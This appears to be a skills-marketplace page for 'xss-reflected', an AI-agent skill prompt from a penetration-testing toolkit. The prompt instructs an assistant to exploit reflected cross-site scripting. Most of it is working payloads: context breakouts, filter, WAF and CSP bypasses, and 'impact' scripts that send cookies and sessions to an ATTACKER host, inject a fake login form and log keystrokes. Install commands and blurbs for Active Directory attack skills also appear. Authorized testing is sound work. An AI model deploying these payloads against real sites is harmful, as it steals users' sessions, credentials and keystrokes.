用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill xss-reflected命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
基于 SOC 职业分类
正在显示 SKILL.md
| name | xss-reflected |
| description | Guide reflected XSS exploitation during authorized penetration testing. |
| keywords | ["reflected XSS","XSS filter bypass","WAF bypass XSS","CSP bypass","payload reflected in page","input echoed in response","script injection","HTML injection"] |
| tools | ["burpsuite","dalfox","XSStrike"] |
| opsec | low |
You are helping a penetration tester exploit reflected cross-site scripting. The target application echoes user input in the HTTP response without proper sanitization. Your job is to achieve JavaScript execution in the victim's browser. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[xss-reflected] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
browser_open to navigate to reflected endpoint and verify renderingbrowser_evaluate to check if payload executed (e.g.,
document.querySelector('img#xss-test') to verify DOM changes from payload)browser_screenshot for evidence of successful XSS executionIf not already provided, determine:
Skip if context was already provided.
The payload depends entirely on where the input lands. Inject a canary string
like xss<>"' and examine where it appears in the response.
| Context | Example | Strategy |
|---|---|---|
| Between HTML tags | <div>REFLECTED</div> | Inject new tags: <script>, <img>, <svg> |
| Inside an HTML attribute | <input value="REFLECTED"> | Break out of attribute: "onmouseover=alert(1) or "><script> |
Inside a href/src | <a href="REFLECTED"> | Use javascript: wrapper |
Inside <script> block | var x = "REFLECTED"; | Break out of string: ";alert(1)// or '-alert(1)-' |
| Inside HTML comment | <!-- REFLECTED --> | Close comment: --><script>alert(1)</script> |
Inside <style> / CSS | color: REFLECTED | Use </style><script>alert(1)</script> |
Try simple payloads first — escalate complexity only if blocked.
Between HTML tags:
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<body onload=alert(document.domain)>
Breaking out of attributes:
"><script>alert(document.domain)</script>
" autofocus onfocus=alert(document.domain) x="
'><img src=x onerror=alert(document.domain)>
Inside JavaScript context:
";alert(document.domain)//
'-alert(document.domain)-'
\';alert(document.domain)//
</script><script>alert(document.domain)</script>
Inside href/src (javascript: wrapper):
javascript:alert(document.domain)
javascript://%0aalert(document.domain)
Inside hidden inputs:
" accesskey="X" onclick="alert(document.domain)
" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto
When basic payloads are blocked, use these bypass techniques.
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Tag with extra attributes -->
<script x>alert(1)</script y>
<!-- Less common tags -->
<details/open/ontoggle=alert(1)>
<video src=_ onloadstart=alert(1)>
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>
<!-- Nested/broken tags -->
<scr<script>ipt>alert(1)</scr<script>ipt>
alert`1`
onerror=alert;throw 1
{onerror=alert}throw 1
setTimeout`alert\u0028document.domain\u0029`
String.fromCharCode(88,83,83)
/XSS/.source
window['alert'](document['domain'])
eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
<!-- HTML entity encoding -->
alert(1)
<!-- Unicode escapes in JS -->
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<!-- Hex/octal in JS strings -->
eval('\x61lert(1)')
<!-- URL encoding in href -->
javascript:%61lert(1)
java%0ascript:alert(1)
java%09script:alert(1)
When the app uppercases your input:
<IMG SRC=1 ONERROR=alert(1)>
Per-WAF techniques when application-level filters pass but a WAF blocks.
Cloudflare:
<svg/onload="`${prompt``}`">
1'"><img/src/onerror=.1|alert``>
Akamai:
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
Generic WAF bypass patterns:
<!-- Null bytes / vertical tab -->
<img src=x onerror\x00=alert(1)>
<img src=x onerror\x0b=alert(1)>
<!-- Event handler with / -->
<img src=x onerror/=alert(1)>
<!-- SVG with random attributes -->
<svg/onrandom=random onload=confirm(1)>
When Content Security Policy blocks inline scripts.
Check CSP first:
# Inspect CSP header
curl -sI https://TARGET | grep -i content-security-policy
Evaluate: paste the CSP into https://csp-evaluator.withgoogle.com
JSONP endpoints (when CSP allows google.com, youtube.com, etc.):
<script src="//google.com/complete/search?client=chrome&jsonp=alert(1);"></script>
<script src="https://www.youtube.com/oembed?callback=alert;"></script>
data: URI (when script-src includes data:):
<script src="data:,alert(1)"></script>
Base tag injection (when script-src 'nonce-...' but base-uri is missing):
<base href="https://attacker.com/">
object/embed (when script-src 'self'):
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
A bare alert() is a proof of concept, not impact. Demonstrate real risk:
Cookie theft:
fetch('https://ATTACKER/steal?c='+document.cookie)
new Image().src='https://ATTACKER/steal?c='+document.cookie
Session hijacking via fetch:
<script>fetch('https://ATTACKER',{method:'POST',mode:'no-cors',body:document.cookie})</script>
Phishing (UI redressing):
<script>
history.replaceState(null,null,'../login');
document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>';
</script>
Keylogger:
<img src=x onerror='document.onkeypress=function(e){fetch("https://ATTACKER?k="+String.fromCharCode(e.which))},this.remove();'>
Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: reflection point, context, working payload, and CSP policy (if present).
console.log() instead of alert() for stored XSS testing to avoid popup fatigue<script> tags (onerror, onfocus, ontoggle)If the page uses AngularJS (look for ng-app):
{{constructor.constructor('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><script>alert(1)</script></svg>
[click](javascript:alert(document.domain))
[click](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
# Dalfox — fast XSS scanner
dalfox url "https://TARGET/page?param=test" --silence
# With custom payload file
dalfox url "https://TARGET/page?param=test" --custom-payload payloads.txt
# XSStrike
python3 xsstrike.py -u "https://TARGET/page?param=test"
# From Burp request
dalfox file request.txt